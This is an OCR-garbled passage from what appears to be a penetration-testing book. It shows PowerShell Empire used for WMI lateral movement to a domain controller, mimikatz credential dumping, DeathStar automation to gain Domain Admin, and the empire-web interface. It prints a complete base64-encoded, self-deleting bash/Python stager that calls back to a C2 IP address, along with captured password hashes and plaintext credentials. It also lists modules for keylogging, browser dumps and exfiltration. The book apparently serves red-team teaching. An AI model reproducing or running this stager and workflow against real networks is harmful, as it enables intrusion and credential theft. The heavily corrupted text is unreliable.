Nome: Tnvoke-WNI
Module: powershell/lateral _movement/1nvoke_wm

NeedsAdnin: False
Opsecbafer True

Language: powershel |

MnlanguageVersion: 2
Background: False
OutputExtension: None

Authors:
@harm1Qy

Jescription:
Executes a stager on remote hosts using WMI.

Options:

Name Required  Volue Description

Listener  True L1stener to use.

CredIl Folse CredID from the store to use.

ComputerName True Host[s] to execute the stager on, comma
separated.

Proxy False Proxy to use for request (default, none,
or other).

Userhame False [domatny]username to use to execute
command.

ProxyCreds  False defoul t Proxy credentials
([domain']username:password) to use for
request (default, none, or other),

UserAgent  False defoul t User-ogent string to use for the staging
request (default, none, or other),

Fassword  False Fassword to use to execute command.

Agent True SYWLZHAM Agent to run module on,
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This module will execute the Empire stager on the target host in the network using
Windows Management Instrumentation (WMI). Let's set up the options to run this
module. Use the computer name that we retrieved from the earlier Domain Controller
reconnaissance:

o

(Emp1re: E
error running comands Access 1s denied, (Exception from HRESLLT: (x80070005 (E_ACCESSDENTEDY)

Upon execution of this module, we get an & accesspentep error, which means that the
credentials we used in this module are invalid. Let's try another set of credentials that
we acquired:

(Bpre: ) » usemodule ateral_movement/1nvoke_im

(Emp1re: ) » set CredlD 6

(bmptre: ) » set Listener Enpire

(tmpire: ) > set Computerhome WIN-OFTACARV/U3

B

(B ) >

Execute the module with the new credentials:
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(Emp1re:

(Empire:
Tnvoka-Wnt executed on "WIN-OPTACAHVTLR"

We are in luck! We were able to log in to the Domain Controller using John's credentials
with the creq 10 .

Let's check our agent list to confirm the active agent on the Domain Controller.

Technet24
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Nne Lo Internal 1P Mochune Name— Lsername — Process

This shows that we now have access to the Domain Controller. The asterisk next to
1337\John Means that the sonn user is a domain admin.

Let's retrieve the credentials for Domain Administrator's account using mimixatz.
Remember that we can't run ninixatz- On an unprivileged user; we need to have higher
privileges. We did not perform privilege escalation here as the user already has a higher
security context:

(Empire: ) > Mmkatz

The module was executed successfully. We can now use the creas command to confirm
the newly acquired credentials from the Domain Controller.
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of time and it is easy to get confused in the reconnaissance phase. Fortunately, we have
an automation script to exploit the AD/DS to get access to the Domain Controller in a

matter of minutes.
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Automating Active Directory
exploitation using the DeathStar

As explained by the creator:

"DeathStar is a Python script that uses Empire's RESTful API to automate gaining Domain Admin rights in Active
Directory environments using a variety of techniques."

- (SOLII’CC https://github. com/byt3b133d3r/DeathSta‘:)

To run DeathStar, we need to start Empire with a RESTful API This can be achieved
with the following command:

sudo ./empire --rest --username <username to access the API> --password <password to access the ?

*
¥ RESTHul API token: didmza9gs
¥ Serving Flask app “empire® (

* Debug mode: off

The message displayed in the previous screenshots indicates that the RESTful API is
running on port 1337/tcp and an API token has been allotted. There's a huge security risk
if we open port 1337/+cp for everyone. To avoid this, we will create a reverse SSH tunnel
to connect to the port securely:


https://github.com/byt3bl33d3r/DeathStar
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caxZombi 3k~ Harryd ssh -Nf -L 1337:127.0.0.1:1337 horry
nar ey ———————— 00

caxZombi 3k~ Harryd

Confirm the tunnel has been created as follows:

v v Zomb13xky ~ Har "f;,".‘f: netstat -an | grep 1337

tepd ] B 127.0.0.1.1337 i LISTEN
o l I L e LISTEN
xXxZombi3xkx: ~ Harry$

This shows that it has indeed been created successfully. Before starting DeathStar, let's
make sure we have an active agent in Empire:

Noe  LoDntemal P Yochne Mame— Usemmone

MR ps 192.068.0.0 P 1 miersnell 619

(Emire

To run DeathStar, we will execute the following command:

| ./DeathStar.py -u harry -p harryl23

Technet24
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rhxZontn 3k DeathStar Harry§ . /DeathStar. py - harry -p horry123
Powering Up the Degth Star
Polling for agents

New Agent = Nome: SANMIFGR IP: 182.68.128.28 Hosthome: PT-PC UserName: L33\narry HighIntegrity:
dgent: SANNIFGR =» Starting recon

Upon execution, DeathStar acquires the active agent. In a matter of seconds, DeathStar
is able to find the following;

e The Domain SID
e The members in the Domain Admin group
e The Domain Controller

nkxZontot 3xde: DeathStar Harry% . /DeathStar.py -u harry -p harryl23
Powertng p the Death Star
Polling for ggents

| New Agent =» Name: SAMAFCR 1P 182.68.128.28 Hosthome; PT-PC Userhane: L33M\narry HighIntegrity: 0
Agent: SAMLFGR = Starting recon

| Agent: SANMIFCR == Got ﬂHMﬂ N IU 5 l 3 'l 141H4tl T6-35139%

] i
] i

| Agent: SANNLECR =
) F

- Agent: SANMLFGR =»

After this, DeathStar then found that three users logged in to the target server, one of
which was a Domain Admin. DeathStar quickly ran lateral movement modules and the
domain privilege escalation module to get access:
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=» FoUnd @ actve odn sesstons: []
=» Folnd 3 users logged tnto locolhost: [*L33T\\dmmstrator', “L33T\\arry", “PT-PCWPT']

t0 eleuate UsIng oypasslac_eventir
e Agent ustng Crecl £
A Agent stng CredIl 4

€
€

DeathStar was able to get the credentials from memory for the administrator. It then
enumerated the admin processes and found the Domain Admin Credentials:

g PT-PL Userine: PT P[\PT HIntegry:
hmlhos t [ LT dmntstrator', "L33Mnarry

=» [sernme: L33T\Adnnistrotor Password: 1231 @guelie

All of this happened in a matter of seconds. That's the power of automation! For more
information regarding the workings of this tool, please refer to the flow chart at the

fOHOWlng link: https://byt3bl133d3r.github.io/automating-the-empire-with-the-death-star-getting-d
omain-admin-with-a-push-of-a-button.html
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This example showed a simple way of getting access to the Domain Controller, but the
same method doesn't always work. Sometimes, you have to look for different attack
paths. You can then choose which path to use to access the Domain Admin's account

The internal network exploitation techniques have grown so much because of new red
team tactics, techniques, and procedures (TTPs) that are now used to find the attack
paths using graph theories. The can be done using a tool called Bloodhound, which is

not covered in this book. For more information regarding Bloodhound, please refer to
the following website: nttps://github. con/BloodHoundan/B1oodhound/.

Note that DeathStar is just a tool that uses Empire post exploitation module scripts to
get a Domain Admin account. In some cases, however, we don't get the account, so we
have to perform manual lateral movement and try to exploit the internal network
systems. We can then try different ways to get access to the Domain Controller.

In the next section, we will look at using Empire via a web interface.
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Empire GUI

It can sometimes be quite difficult to use Empire in command line mode. To avoid this,
we're going to look at how to use the Empire web interface, which can be managed
much more easily. To begin with, let's clone the GitHub repository:

git clone https://github.com/interference-security/empire-web
¥$ git clone https://github. com/interference-security/empire-web

[=la]

done.

Now, move the enpire-wen directory to the /var/www/nemi of your web server:

: $ 1s
index.nginx-debian. html

%

Then, start the web service and check for the 10gin.php page in empire-wen. In this case, we
have configured a custom web service port, 9797/ccp:
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& C | @ Not Secure | ISR 5757/e mpire-web/login.phy v ‘m 0@ m@m” *

Q Empire Web L login & About

PowerShell Empire Web

Empire IP Address

Empire Port

Empire Username

Empire Password

The biggest issue with accessing the Empire web in this case is that anyone can access
it. Because it's a web application, anyone can try and look for vulnerabilities.

If we try to check for the +797/:cp on the web server, it shows that the port is accessible
from any interface:

(Not all pre
111l not

tep : R ), " LISTEN

A quick Nmap port scan can help us get a clear picture:


https://technet24.ir
https://technet24.ir

x¥xZombl 3xXx:~ Harry$ nmap

= —

Starting Mmap 7.60 ¢ https://rmap.org 3 ot 26
Nmaop scan repo
Host is up (@.1@s latency).

PORT STATE SERVICE
AECp open  unknown

. 1 host up) scanned in Z2.81 seconds

As we can see in the preceding screenshot, port 9797 is accessible from any IP. We need
to find a way to access the Empire GUI web interface in a secure fashion. We can do
this by blocking the 9797/tcp for everyone and accessing it via a reverse SSH tunnel.

Block port 9797/tcp on the firewall using the uew tool. usw 1s pre-installed in some variants
of Linux. If it isn't pre-installed, we can install it using the apt insta11 ufw -y command:

arry@openvpn: $ suUdo L deny Q7Y
Fule updaoted

Rule updated (we)

Once the rules are added to the firewall chain, try to use Nmap again:
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cAxZombl3xEx:~ Harry$® nmop ikl - © 07

Starting Nmap 7.60 ¢ https://mmap.org O ot Z2018-09-08 20:27 IST
Mmaop scan report for m“
Host 1s up (@.180s lotency

FOR STATE SERVWICE
Q77 tep f1ltered unknown

0 done: 1 IF address {1 host upy scanned in 1.22 seconds
XXX Zormbi 3xXx - Hqu“r"_-;.-'EE

The port is now blocked from outside. If we try to access the web interface now, we
won't be able to connect:

This site can't be reached
I ook too long to respond.

Search Google forlll NI /97 empire web log

So, let's configure a reverse SSH tunnel using the following command:

Issh -Nf -L 9797:127.0.0.1:9797 <SSH-user>@<SSH-server>
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Sxkn:~ Harry$ ssh -Nf -L 9797:127.0.0.1:9797 harry
) Wi |j .
at -an | grep 9797
2.1.9797 e LISTEN
A LISTEN
92.168.2.0,50673 I 07 CLOSE_WAIT

¥

As we can see in the previous screenshot, port s797/:cp on the web server is connected to
our system through local port 9797/tcp. This means that we have configured a tunnel on
port 9797/cp. Let's try to access the web service using our local IP and port 9797/¢cp:
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€ (@ localhost:9797/empire-web/login.php g m@ "0

Y Empire Web

PowerShell Empire Web

Empire IP Address

Empire Port

Empire Username

Empire Password

We were successful! Let's add in the Empire IP Address, the Empire Port, the Empire
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Username, and the Empire Password:

Empire IP Address

127.0.0.1

Empire Port

1337

Empire Username

harry

Empire Password

These credentials are the same as the ones we set when we ran DeathStar. When we are
logged in, we will see the Empire web interface, which shows us how many listeners
and agents there are:

< C | @ localhost:9797/empire-web/dashboard.php o~ % g G@

g Empire Web & Dashboard & Listeners W Stagers 4 Agents = Modules | Credentials ® Reporting

PowerShell Empire Web

Empire Listeners

3 listeners currently active

Empire Agents

4 agents currently active

Currently, there are three listeners running and four agents active on our Empire C2
server.

We can manage the listeners from the Listeners menu:
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= C | localhost:9797/empire-web/dashboard.php

g Empire Web  f Dashboard IRGAREEIEEE

Show All Listeners

Powers Search Listener by Name Web

Create a Listener
Kill Listener(s)

3 listeners currently active

Similarly, the stagers can be managed and generated from the Stagers menu:

€ (| localhost:9797/empire-web/dashboard.php

jgj EmpireWeb  ftDashboard & Listeners - [EAASEVEERAN < Agents - i Modules

Show All Stagers

PowerShe" Em Search Stager by Name

Generate Stager

3 listeners currently active
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We can manage the agents from the Agents menu. This menu also contains some extra
features:

- C | @ localhost:9797/empire-web/dashboard.php

j@j Empire Web # Dashboard & Listeners ¥ Stagers i | Credentials < Reporting @ Browser

Show All Agents
PowerShell Empire W e Agento Name

Show Stale Agents
Remove Stale Agents
Remove Agent

Agent - Run Shell Command

3 listeners currently active Show Agent Results

Delete Agent Results
Clear Queued Agent Tasking

Rename Agent

4 agents currently active Kill Agent(s)

View Screenshots

View Webcam Videos

Once we have an active agent, we can use the supported post-exploitation modules from
the Modules menu for post exploitation as shown in the following screenshot:

€ (O |( localhost:9797/empire-webjdashboard.php

ﬁ EmpireWeb  ftDeshboard & Listeners - WStagers - ¢ Agents - EUGTERAN ™ Credentisls @ Reporting - @ Browser

Show All Modules

PowerShe" Empire Web Show Module by Name

Search for Module

Execute Module

3 listeners currently active

Empire Agents

The saved credentials can be viewed from the Credentials menu:
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< C | @ localhost:9797/empire-web/credentials.php ¥ - D P W

ﬁ Empire Web f Dashboard & Listeners |™ Credentials < Reporting @ Browser

ID credtype domain host notes o8 password sid username
1 hash WIN- WIN- 2018- Microsoft Windows Server 2008 R2 af%aaef092dda834f4eB88d12e105a9cce Administrator
ODLKNBJCDHK  ODLKNBJCDHK 09-05 Datacenter
18:08:29
2  plaintext  WIN- WIN- 2018- Microsoft Windows Server 2008 R2 NJs*Z8$z=|c? Administrator
ODLKNBJCDHK  0DLKNBJCDHK 08-056 Datacenter
18:08:29
3 hash tester-PC tester-PC 2018- Microsoft Windows 7 Professional 3291531560eb320c0e1deea55e88a1e9 tester
09-06
06:40:37
4 plaintext tester-PC tester-PC 2018- Microsoft Windows 7 Professional root tester
09-06
06:40:37
5 plaintext WXxZombidxXx.local 2018- Darwin,xXxZomb|3xXx. local,17.0.0,Darwin  test123
09-06 Kernel Version 17.0.0: Thu Aug 24
16:563:10 21:48:19 POT 2017, root:xnu-
4570.1.46~2/RELEASE_X86_B4,xB6_64

We can see the logged events from the Reporting menu. Using this page, we can trace the
modules that we used in a post-exploitation scenario:

& C | @ localhost:9797/empire-web/dashboard.php or 1y

@ Empire Web & Dashboard & Listeners W Stagers 4 Agents i= Modules |™ Credentials ® Reporting ~ YL

All Logged Events
PowerShell Empire Web AgwXLogard Ferie
Logged Events - Type
Logged Events - Msg

3 listeners currently active

4 agents currently active

Go to Listeners and then Show All Listeners to list all the running listeners:
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“ C | @ localhost:9797/empire-web/dashboard.php

#Y EmpireWeb  ft Dashboard [EJECEUCEREN  # Stagers & Aok

Show All Listeners

Powe rS Search Listener by Name Web

Create a Listener
Kill Listener(s)

3 listeners currently active

Currently there are three listeners running, http, Empire, and DeathStar:

< C @ localhost:9797/empire-web/show-all-listeners.php % @ a® P Ml

BY Empire Web i Dashboard  +* Listeners ¥ Stagers < Agents i= Modules ™ Credentials @ Reporting @ Browser

Listener Name: http
Listener Name: Empire

Listener Name: DeathStar

To create a listener, we can go to Listeners and then Create a Listener:
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- C | (@ localhost:9797/empire-web/dashboard.php

#Y Empire Web  ftDashboard [EGARECIEER

Show All Listeners

POWe rS Search Listener by Name Web

Create a Listener
Kill Listener(s)

3 listeners currently active

Empire Agents

This sub-menu will bring up the listener creation page. We can choose the type of
listener to create from the Listener Type drop-down list. In this case, let's use the
listener type http:

i C | (@ localhost:9797/empire-web/create-listener.php

jgj Empire Web  f¥Dashboard & Listeners ¥ Stagers < Agents i= Modules |~ Credentials < Reporting @ Browser

Listener Type ~ Listener Name

http
http_hop
| http_mapi

any "Listener Type" above. Select one to view options for it.
| http_foreign

http_com

onedrive
dbx
merterpreter

redirector

When we choose http as the listener type, the listener settings are displayed. We can
add the information required and set the name:
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&« C | @ localhost:9797/empire-web/create-listener.php?type=http w (0] ‘a @ 9

a Empire Web # Dashboard & Listeners ¥ Stagers = Modules |™ Credentials @ Reporting @ Browser

Create Listener

http = Listener Name m

Additional Options:

Name Description Required Value
BindIP The IP to bind to on the control server. Yes 0.0.0.0
CertPath Certificate path for https listeners. No

DefaultDelay Agent delay/reach back interval (in seconds). Yes 5
DefaultJitter Jitter in agent reachback interval (0.0-1.0). Yes 0
DefaultlostLimit Number of missed checkins before exiting Yes &0
DefaultProfile Default communication profile for the agent. Yes

/admin/get.php,/news.p

Host Hostname/IP for staging. Yes hittp://207.148.124.20:4
KillDate Date for the listener to exit (MM/dd/yyyy). No
Launcher Launcher string. Yes

powershell -noP -sta -w

Everything is now ready to start the listener. Click on the Create button. Empire will
then create the listener and you'll receive a message saying Listener <iistener name>
successfully started:

“ C | @® localhost:9797/empire-web/create-listener.php

j@j Empire Web # Dashboard & Listeners ¥ Stagers < Agents i= Modules | Credentials < Reporting @ Browser

Listener Type ~ Listener Name + Listener test successfully started

Additional Options:

You have not selected any "Listener Type" above. Select one to view options for it.

We can now go to Listeners and then Show All Listeners to see the list. We can then
find our newly started listener, test:
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< C @ localhost:9797/empire-web/show-a tene P g o) o]

g Empire Web  ftDashboard & Listeners ¥ Stagers 4 Agents i= Modules |™ Credentials < Reporting @ Browser

Listener Name: http
Listener Name: Empire
Listener Name: DeathStar

Listener Name: test

Confirm the listener from the Empire CLI:

(Erpire: ) » listeners

Neme Module 05t Delay/Jitter  KillDate
test

Empire

http

DegthStar

(Empire:;

To kill a listener, we can go to Listeners and then Kill Listener(s):

“ C | ® localhost:9797/empire-web/dashboard.php

#Y Empire Web  ftDashboard [JREJESEISERAN @ Stagers < Agents = Modules

Show All Listeners

Powers Search Listener by Name Web

Create a Listener

Kill Listener(s)

3 listeners currently active

Empire Agents
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A new page will be displayed, giving you the option to kill a listener. We can choose the
listener that we want to kill from the drop-down list:

“— C | @ localhost:9797/empire-web/kill-listener.php

#Y Empire Web  ftDashboard < Listeners ¥ Stagers 4 Agents i= Modules ™ Credentials

Kill Listener(s)

--Choose Listener-- & |m

We then need to click on the Kill Now button to kill the listener:

e C | @ localhost:9797/empire-web/kill-listener.php

$Y Empire Web  ftDashboard & Listeners ¥ Stagers & Agents = Modules

Kill Listener(s)
--Choose Listener-- m

« Listener killed successfully.

Once the listener is started, we can choose a stager. To show all the stagers, go to
Stagers and then Show All Stagers:
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| &« C | (@ localhost:9797/empire-web/show-all-stagers.php

#Y Empire Web  ftDashboard  +* Listeners i= Modules | Credentials < Reporting

Show All Stagers
Al a1 Search Stager by Name
g @1) Generate Stager
osx/jar
osx/macho

windows/shellcode

windows/macroless_msword

You can find all the supported stagers for Empire here:

i C | @ localhost:8797/empire-web/show-all-stagers.php w (o] l‘ﬂ o] P W

g Empire Web A Dashboard & Listeners ¥ Stagers < Agents = Modules |™ Credentials @ Reporting @ Browser

— I

osx/jar

osx/macho
windows/shellcode
windows/macroless_msword
windows/bunny

osx/teensy

osx/ducky
windows/launcher_xml
osx/macro

multi/war

To generate a stager, we can go to Stagers and click on Generate Stager:
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= C | (@ localhost:9797/empire-web/show-all-stagers.php

#) Empire Web  fDashboard  +* Listeners ¥ Stagers ~ = Modules

Show All Stagers
Search Stager by Name

All Stagers (31)

Generate Stager

osx/jar

osx/macho

The Generate Stager sub-menu will show the list of stagers that we can select. We
need to click on a particular stager to bring up the options available for that stager:

< C @ localhost:9797/empire-web/generate-stager.php ¥ g o] S P H:
#Y Empire Web ¥ Dashboard & Listeners ¥ Stagers 4 Agents i Modules ™ Credentials  ® Reporting

multi/bash
Name multi/bash
Description Generates self-deleting Bash script to execute the Empire stage0 launcher.
Author @harmj0y
Comments
Stager Options:
Name Description Required Value
Language Language of the stager to generate. Yes python
Listener Listener to generate stager for. Yes hitp
OutFile File to output Bash script to, otherwise displayed on the screen. No
SafeChecks Switch. Checks for LittleSnitch or a SandBox, exit the staging process If true. Defauits to True. Yes True
UserAgent User-agent string to use for the staging request (default, none, or other). No default

Once the options are set, click on the Generate button to generate the stager. The web
interface will show a Stager Output message after generation:
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&« C | ® localhost:9797/empire-web/generate-stager.php w o] B e} ? i

#Y Empire Web ~ fdDashboard & Listeners * Stagers 4 Agents

% Stager Output

Name Description Required Value
Language Language of the stager to generate. Yes python
Listener Listener to generate stager for. Yes http
QutFile File to output Bash script to, otherwise displayed on the screen. No

SafeChecks Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defauits to True. Yes True
UserAgent User-agent string to use for the staging request (default, none, or other). No default

Click on the Decode button to get the one-liner command:

&« C | ® localhost:9797/empire-web/generate-stager.php w D '-E [=7] P &

g Empire Web  fDashboard & Listeners ¥ Stagers 4 Agents iE Modules /™ Credentials < Reporting

*_Stager Output

#!/bin/bash

echo "import sys,baseb4,warnings;warnings.filterwarnings('ignore');exec(baseb4.b64decode( ' aWlwb3JAIHNScztpbXBvenQgemUsIHNIYnByb2ZNLC3M7Y
21kID@gInBzIC11ZiBBIGAYZXAgTGLAdGX1XCBTbml@Y2ZggfCBnemVwIC12IGdyZXAiCnBzIDBgc3VicHIvY2Vzcy5Qb3B1lbihjbWQsIHNoZWxsPVRydiWUs IHNOZG91dD1zdWIw
cm9jZXNzL1BIUEUpCmI1dCAITHB zLnNBZ GI1dC5yZWF kKCkKcHMuc3Rkb3VALmNsb3N1KCkKaWY gemUucZVhemNoKCIMaXR@bGUgUZ SpdGNoTiwgb3VOKToKICAge31zLmV4aXQ
oKQppbXBvenQgdXJsbGLiMjsKVUESI@1veml sbGEVNS4WIChXaWskb3dz IESUIDYuMT sgV@9XNjQ7IFRyaWR1bnQvNy4wlyBydjoxMS4wKSBsaWt LIEdLY2tvIztzZXI2ZX19]2
h@dHABLY 8yMDCuMTQ4L JEYNCAyMDo4MDgw] zt@PScvbmV3cySwaHAND3] 1cT11cmxsaWIyL 1 1cXV1c3Qoc2VydmVyK3QpOwpyZXEUYWRKXZhL YWR1 cignVXN1ci1BZ2VudCcsY
UEpOwpyZXEuYWRKXZh1YWR1cignQZ9vazl1Jywic2VzcZlvbj1SUXg3QUdmRUIhZ Th4QUZML2ACSVNXMZSND jg9T1k7CnByb3h5ID8gdX IsbGl iMi SQcmI4elhhbmRsZXIoKTsK
byAIIHVybGXpY JIuYnVpbGRFb3B1bmVyKHBYb3h5KT sKdX]sbGliMiSpbnNOYWxsX2OWZWS 1 cihvKTsKYT11lemxsaWLyLnVybGowZN4ocmVxKSSyZWF kKCk7Ck1WPWFbMDO@XTt
KYXRhPWFbNDpd02t1eT1IVisnV194ZFFAaSZ8MyS]TS1tROFUazpYTDFeKzB2UHtCe j8n01MsaixvaXQ9emFuZ 2UoMjUZKSwwLF tdCmZveiBpIGLuIHIhbmd LKDIINik&CiAgIC
BgPShaK1NbaVerb3IkKGt1eVtpIWxlbihrZXkpXSkpITI1NgogICAGULLpXSXTWZpdPVNbal@sU1 tpXQppPodMApmb3IgY2hhciBpbiBKYXRhOgogI CAgaTAoassxKSUyNTYKT
CAgIGoIKGorU1tpXSk1MjUZCiAgICBTWZ1dLFNbal@3U1tqXSxTW21dCi AgICBvdXQUYXBWZWSkKGNocihvemQoY2ZhheileU1soUltpXStTWZpdKSUYNTZdKSKKZXh1YygnlySq
b2luKG91dCkp'));" | Ausr/bin/python &

rm -f “3@"

exit

When the stager gets executed on the target server, we will get an active agent. To list
all the agents, we can go to Agents and then click on Show All Agents:
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“« C | @ localhost:9797/empire-web/dashboard.php

By EmpireWeb  fDashboard &% Listeners - ¥ Stagers i=Modules - | Credentials  ®Reporting - @ Browser

Show All Agents
PowerShell Empire W, S foentortame

Show Stale Agents
Remove Stale Agents
Empire Listeners Remove Agent

Agent - Run Shell Command

3 listeners currently active Show Agent Results

Delete Agent Results
Clear Queued Agent Tasking

Rename Agent

5 agents currently active Kill Agent(s)

View Screenshots
View Webcam Videos

To see information about the agent, click on the Agent Name:

<« C | @ localhost:9797/empire-web/show-all-agents.php | ‘g B -7} P E

Q’ Empire Web # Dashboard k P i= Modules |™ Credentials @ Reporting @ Browser

Agent Name: P41RSV2K

Agent Option Agent Value

iD 5

checkin_time 2016-09-08 15:01:06
children

delay 5

external_ip 182.68.128.28
functions

high_integrity 0

hostname X ZombidXx.local
internal_ip 127.0.0.1

jitter 0

kill_date

language python

language_version 2.7
lastseen_time 2018-09-08 15:01:24

listener http

We can execute shell commands easily from the web interface. We just need to go to
Agents and then Agent Run Shell Command:
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— C | @ localhost:9797/empire-web/dashboard.php

g EmpireWeb  ftDashboard & Listeners ¥ Stagers L WENCRA = Modules |™ Credentials @ Reporting @ Browser

Show All Agents
PowerShell Empire W, secngertbyNane

Show Stale Agents
Remove Stale Agents

Remove Agent

Agent - Run Shell Command

3 listeners currently active Show Agent Results

Delete Agent Results
Clear Queued Agent Tasking

Rename Agent
5 agents currently active Kill Agent(s)

View Screenshots

View Webcam Videos

A new page will open with two options: Task Agent to Run a Shell Command and Agent
Output:

&~ C | ® localhost:9797/empire-web/agent-shell-cmd.php

g Empire Web  fDashboard & Listeners ¥ Stagers < Agents iE Modules |™ Credentials @ Reporting @ Browser

Task Agent to Run a Shell Command

--Choose Agent Name-- 4 Enter command

Agent Output

--Choose Agent Name-- 5 | [V =TT

To execute a command, we first need to choose the agent from the drop-down list and
then enter the command. In this case, we have used the i« command:
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= C | @ localhost:9797/empire-web/agent-shell-cmd.php

$Y Empire Web  frDashboard & Listeners ¥ Stagers & Agents == Modules

Task Agent to Run a Shell Command
P41R5V2ZK +| id

+" Shell command executed successfully.

Upon successful execution of the command, we will get a she11 command executea
successfully message but the output will not be shown. To view the output, we need to
select the same agent from the drop-down list where we executed our command. This
drop-down menu is just below the first drop-down menu:

Agent Output

SANMITFGR
SPRESWGC
GHZKAZ36
BIRAKNXGB

P41R5VZK
All Agents

The output will be displayed once the Show Result button is clicked:
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Agent Output

P41R3V2K

!
ﬂ

[2] P41RSVZ2K > id
uid=503(Harry) gid=20(staff) groups=2@(staff),501(access_bpf),12(everyone),6l(localaccounts),79(_appserverusr),8@(admin),B8l(_appserveradm),
98(_lpadmin},33(_appstore),180(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screenshari
ng),101(com.apple.access_ssh-disabled)

..Command execution completed.

[1] P41RS5VZ2K > whoami && id
Harry
..Command execution completed.

We can now execute post modules on the agent. To bring up the module page, go to
Modules and click on Show All Modules. This will list all the modules that are
available:

&« C | ® localhost:9797/empire-web/dashboard.php hd (o] fh

jﬁj Empire Web # Dashboard & Listeners ¥ Stagers 4 Agents i= Modules ~ | Credentials < Reporting

Show All Modules

PowerShell Empire Web ki

Search for Module

Execute Module

Empire Listeners

3 listeners currently active

Empire Agents

5 agents currently active

You will see the following list:
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< C | @ localhost:9797/empire-webfshow-all-modules_php w

0]

g Empire Web # Dashboard & Listeners ¥ Stagers 4+ Agents = Modules |* Credentials ® Reporting

Show All Modules (285)

exfiltration/Invoke_ExfilDataToGitHub

g
i
§

external/generate_agent Uss Module
powershell/code_execution/invoke_dllinjection
powershell/code_execution/invoke_metasploitpayload Use Module

powershell/code_execution/invoke_ntsd

powershell/code_execution/invoke_reflectivepeinjection

1 H
oy
d G

powershell/code_executionfinvoke_shellcode

To execute a module, go to Modules and click on Execute Module:

&« C | @ localhost:9797/empire-web/dashboard.php b4 o 1?3

jgj Empire Web  ftDashboard  + Listeners ¥ Stagers < Agents E=JVLGUCSRA ™ Credentials @ Reporting @ Browser

Show All Modules

PowerShell Empire Web s i

Search for Module

Execute Module

Empire Listeners

3 listeners currently active

Empire Agents

5 agents currently active

A new page will open with a drop-down list, from which we can choose the module we
want to execute:
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i C | @ localhost:9797/empire-web/execute-module.php

Y Empire Web  ftDashboard & Listeners % Stagers <» Agents i= Modules |™ Credentials

Q Execute Module

--Choose Module-- \ Choose

exfiltration/Invoke_ExfilDataToGitHub
external/generate_agent
powershell/code_executionfinvoke_dllinjection
powershell/code_execution/invoke_metasploitpayload
powershell/code_executionfinvoke_ntsd
powershell/code_executionfinvoke_reflectivepeinjection
powershell/code_executionfinvoke_shellcode
powershell/code_executionfinvoke_shellcodemsil
powershell/collection/ChromeDump
powershell/collection/FoxDump
powershell/collection/USBKeylogger
powershell/collection/WebcamRecorder
powershell/collection/browser_data
powershell/collection/clipboard_monitor
powershell/collection/file_finder
powershell/collection/find_interesting_file
powershell/collection/get_indexed_item
powershell/collection/get_sgl_column_sample_data
powershell/collection/get_sgl_query

In this case, we will choose the screensnot; Python module:

i C | @© localhost:9797/empire-web/execute-module.php

#Y Empire Web i Dashboard  &* Listeners ¥ Stagers < Agents i= Modules |~ Credentials

Q, Execute Module

python/collection/osx/screenshot . |

Agent Output 1T ET

Clicking the Choose button will bring up the module options:
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“— C | @ localhost:9797/empire-web/execute-module.php?module_name=python%2Fcollection%2Fosx%2Fscreenshot W

jﬁj Empire Web  fyDashboard & Listeners ¥ Stagers < Agents iE Modules | Credentials < Reporting @ Browser

--Choose Module-- .
Module Name: python/collection/osx/screenshot
Execute Module
Author @harmjoy
Background No
Comments
Description Takes a screenshot of an OSX desktop using screencapture and returns the data.
Language python
MinLanguageVersion 2.6
Name python/collection/osx/screenshot
NeedsAdmin No

We need to choose the agent on which we want to run this module. The agent can be
selected from the drop-down list of agents:

Module Options:

Name Description Required Value

Agent Agent to execute module on. Yes v SANMIFGR
9PRESWEC

GHZKAZ236
B1RAKNX6

P41R5EV2K

All Agents

T

SavePath Path of the temporary screenshot file to save. Yes

Once the options are set, we can click the Execute Module button to execute the post
module. The agent will be tasked with the chosen module:

Q, Execute Module
--Choose Module-- =

+" Tasked agent P41R5V2K to run module python/collection/osx/screenshot
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The module that we chose for post exploitation would take a screenshot of the user's
desktop and then save and download it. We can view the saved screenshots from
Agents | View Screenshots:

&~ C | D localhost:9797/empire-web/dashboard.php

j@j Empire Web  fDashboard & Listeners ¥ Stagers i= Modules | Credentials  ® Reporting @ Browser

Show All Agents

PowerShell Empire W S Aoy tare

Show Stale Agents

Remove Stale Agents

Empire Listeners Remove Agent

Agent - Run Shell Command

Show Agent Results
Delete Agent Results

Ernplra m oer Gueues Agent Tasmng _

Rename Agent

3 listeners currently active

5 agents currently active Kill Agent(s)

View Screenshots

View Webcam Videos

Clicking on View Screenshots will bring us to another page, from which we can select
the agent from a drop-down list. To view the result, click the Show Screenshots button:

&« C | @ localhost:9797/empire-web/show-agent-screenshots.php

:g: Empire Web  ftDashboard  +* Listeners ¥ Stagers 4+ Agents = Modules |* Credentials

Retrieves results for the agent specifed by Agent Name.

| --Choose Agent Name-- 3

As we can see in the following screenshot, a screenshot of the user's desktop was
saved:
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&« C @ localhost:9797/empire-web/show-agent-screenshots.php Y B ‘m fose] Lo ]

a Empire Web # Dashboard & Listeners ¢ iE Modules |™ Credentials @ Reporting @ Browser

Retrieves results for the agent specifed by Agent Name.

--Choose Agent Name-- & | Ry BT Y

XXxZombidxXx.local_2018-09-08_15-06-04.png

& Chrome File Edit View History Pecple Window Helo M@P H T & % T 0oxm Sng3EPM Hary Q @ =
® @ () ctHub-Empr x () GitHub - byrsc x | [B] Automsting the x () Data Collectio- x * (7) Deta Collecter x | « Cptlesus|Blo X empirewebgu % | () GitHub -interi X ' [ Empire: Exec. x e
- 5 C @ localhost-8797/empire-web -module.php | 'p a® D N

BX Empire Web  # Dashboard

Q Execute Module
S—— :

+ Tasked agent P41RSV2K to run module python/collection/osx/screenshot

gent Ot [T

The Browser menu shows the /var/ww/nem1/ directory, where we can deploy the web
interface:

— C | @ localhost:9797/empire-web/browser.php | o o 2] D M i

g Empire Web  ftDashboard & Listeners W Stagers 4 Agents i= Modules [~ Credentials < Reporting

css
fonts

— img

— includes

d s
less
styles

@ about.php

@ administration.php

@ ageni-shell-cmd.php

@ agent-shell-submit-cmd.php
app.json

0

base.php

]

browser.php

= clear-agent-task-queue.php
composer.json

@ configuration.php

@ create-listener.php

@ credentials.php

& dashboard php

@ delete-agent-results.php

@ execute-module.php

@ oanarata.ctacar nhn

The web interface makes it very easy to use Empire. There is also another GUI tool
called Empire-GUI, which was officially released by the Empire tool's creators, and
which can be found in the empirerroject GitHub repository. This tool has been described
by its creators as follows:

"The Empire Multiuser GUI is a graphical interface to the Empire post-exploitation Framework. It was written in
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Electron and utilizes websockets (SocketlO) on the backend to support multiuser interaction. The main goal of this
